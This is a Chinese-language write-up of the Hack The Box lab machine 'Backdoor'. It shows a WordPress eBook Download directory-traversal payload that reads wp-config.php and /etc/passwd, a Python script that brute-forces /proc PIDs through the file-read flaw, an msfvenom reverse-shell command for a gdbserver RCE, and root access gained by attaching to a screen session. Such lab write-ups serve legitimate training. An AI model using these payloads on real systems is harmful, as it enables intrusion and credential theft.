Linux/Backdoor

Backdoor

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和1337端口,端口详细信息如下

22端口对应的是ssh服务,80端口使用Apache,title上写着backdoor,而且可以看出使用了wordpress,1337端口暂时还不能确定

TCP/80

访问页面,经典的wordpress风格,一访问页面就可以看到页面四个链接,分别是home,about,blog,contact,点击home跳转失败,显示无法识别域名backdoor.htb,需要将其添加到/etc/hosts中。剩下三个也只能看到一些基础信息,没什么好玩的

配置完成能够解析域名后,访问该链接,但是并没有发现什么可以利用的东西

可以尝试枚举一些目录,wordpress默认的插件安装目录是/wp-content/plugins

可以看到默认的index.php目录已经被删除,可以看到该目录下只有一个电子书下载的插件和一个hello.php,在电子书下载插件目录中,有一个readme文档,其中揭露了插件的版本为1.1

Exploitation

WordPress Plugin eBook Download 1.1 - Directory Traversal

在知道了一些基本信息后,可以搜索相关内容看看是否存在已知的漏洞,可以直接拿来利用

该目录遍历漏洞详情如下,可以看到我们需要能够访问filedownload.php文件,而在wp-content目录下确实有这个php文件,然后利用目录遍历去请求wp-config.php文件,从该文件的名字也能看出来其中包含了很多配置信息

# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7
 
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
 
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================

按照上文Poc读取指定文件,然后在其中发现了一些有关数据库的凭据信息

有了一个密码,又存在LFI,考虑读取/etc/passwd内容,然后看某个用户能否使用数据库密码登录,有一个user用户,但是并不能成功登录ssh

/proc/{PID}/cmdline

在最开始发现系统还对外开放了1337端口,但是这个端口使用curl,ncat,telnet等方式均无法访问,因为存在LFI,可以读取远程主机中关于1337端口对应服务的信息

需要使用暴力破解/proc/{pid}/cmdline文件的方式来实现,在linux中,该文件用于显示运行对应PID进程时的命令,可以先运行一个tcpdump程序,使用ps -aux | grep tcpdump命令来查看相应程序的pid,最后查看/proc/{pid}/cmdline文件,现实的就是运行tcpdump的命令

运行tcpdump程序后查看相应程序的pid

将获取到的pid填入对应位置,查看15806,得到结果如下,显示了执行时的命令

Brute Force PID

现在,我们可以尝试利用burpsuite的暴力破解来看看1337端口到底在运行什么服务,通过简单测试,发现可行,那么只需要将请求包发送给intruder,然后检索1-1000的内容

也可以写python脚本来爆破,写一个pid的循环,然后请求url,最后打印输出

import requests
from bs4 import BeautifulSoup

for i in range(1,1000):
    url = "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/"+str(i)+"/cmdline"
    req = requests.get(url)
    print(req.text.replace('<script>window.close()</script>',''))

经过漫长的暴力破解,最终在pid为852的进程中看到了1337端口,运行着gdbserver

GDB是GNU项目的调试器,是一种调试工具,gdbserver是可以远程运行GDB的一个应用程序,搜索发现gdbserver 9.2版本存在rce漏洞

GNU gdbserver 9.2 - Remote Command Execution (RCE)

虽然暂时无法确定目标系统使用的版本,但是值得一试


msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 PrependFork=true -orev.bin

在本地监听4444端口,然后执行指令即可得到shell

Privilege Escalation

之前得到的密码也没起到什么作用,但是之前在爆破pid时还发现pid为850的进程是root运行的,可以看看是什么

screen是一个类似于tmux的终端多路复用器,可用于启动会话,然后在该会话内打开任意数量的虚拟终端,即使窗口不可见或者断开链接,在screen中运行的进程也将继续运行,会话分离时,最初从屏幕启动的进程仍在运行并由本身管理。

screen -dmS root意味着screen会话以分离模式启动,该会话被命名为“root”,,当创建新的屏幕会话时,会在/var/run/screen位置创建一个新目录,名称为s-{username},在此目录中使用屏幕会话名称创建屏幕会话文件,可以使用用户dotguy在本地创建一个屏幕会话,名称为test_session

用于附加到为不同用户创建的屏幕会话的默认屏幕语法是screen -x user/session_name

但是提示需要添加终端类型,可以输入以下指令

export TERM=xterm
screen -x root/root

  • 10
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值